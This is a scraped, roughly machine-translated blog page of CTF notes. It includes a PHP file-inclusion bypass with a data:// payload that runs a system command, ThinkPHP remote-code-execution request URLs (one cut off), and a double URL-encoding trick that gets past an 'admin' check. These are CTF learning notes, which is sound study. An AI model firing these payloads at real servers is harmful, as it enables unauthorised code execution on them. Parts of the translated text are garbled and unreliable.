当前位置:网站首页>CTF record
CTF record
2022-07-02 11:18:00 【freshfox】
Source audit
File contains :
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
1. php://input + post data php Code .
2. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
thinkphp rce Pay attention when exploiting vulnerabilities payload
Exploit :
payload:
see phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
View sensitive files :
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
First step , To make "admin"===$_GET[id] Don't set up
We can admin Conduct url code , Of course, you can also code one of the letters here a Encoding :%61dmin
The first practical comparison if("admin"==="%61dmin") Don't set up
1
The second step , after G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode(
G
ET[id]=urldecode(_GET[id]);, bring $_GET[id] == "admin" establish .
after urldecode After decoding, it becomes admin
The second practical comparison if("admin" == "admin"); establish
1
** Be careful :** When the parameter is passed in id when , The browser will be right and wrong later ASCII The character of the code is carried out once urlencode code , It will be automatically performed once when running urldecode
Because we are url Run directly in the connection , The browser will make a url decode , So we'll do it again url code , That's right admin Code twice and then run
urldecode(%2561)=%61
urldecode(%61)=a
边栏推荐
- Special topic of binary tree -- acwing 1589 Building binary search tree
- 在网上开股票账户安全吗?我是新手,还请指导
- TIPC Getting Started6
- Win11 arm system configuration Net core environment variable
- Use Huawei performance management service to configure the sampling rate on demand
- Some things configured from ros1 to ros2
- How to use ide to automatically sign and debug Hongmeng application
- Special topic of binary tree -- acwing 3540 Binary search tree building (use the board to build a binary search tree and output the pre -, middle -, and post sequence traversal)
- Approximate sum count (approximate
- Gaode draws lines according to the track
猜你喜欢
Summary of data export methods in powerbi
【深入浅出玩转FPGA学习5-----复位设计】
TIPC Cluster5
Luogu p5536 [xr-3] core city (greed + tree DP looking for the center of the tree)
Multi line display and single line display of tqdm
From the perspective of attack surface, see the practice of zero trust scheme of Xinchuang
III Chip startup and clock system
VS2019代码中包含中文内容导致的编译错误和打印输出乱码问题
How to use ide to automatically sign and debug Hongmeng application
TIPC 寻址2
随机推荐
CentOS8之mysql基本用法
LVM operation
tidb-dm报警DM_sync_process_exists_with_error排查
Regular and common formulas
Compilation errors and printout garbled problems caused by Chinese content in vs2019 code
Supermarket (heap overload
八大排序汇总
从攻击面视角,看信创零信任方案实践
[play with FPGA learning 5 in simple terms ----- reset design]
STM32 single chip microcomputer programming learning
The difference between self and static in PHP in methods
Solve the problem of data blank in the quick sliding page of the uniapp list
TIPC messaging3
Huawei game failed to initialize init with error code 907135000
C file and folder operation
Rest (XOR) position and thinking
Summary of data export methods in powerbi
Tick Data and Resampling
Special topic of binary tree -- Logu p1229 traversal problem (the number of traversals in the middle order is calculated when the pre and post order traversals of the multiplication principle are know
Leetcode 182 Find duplicate email (2022.07.01)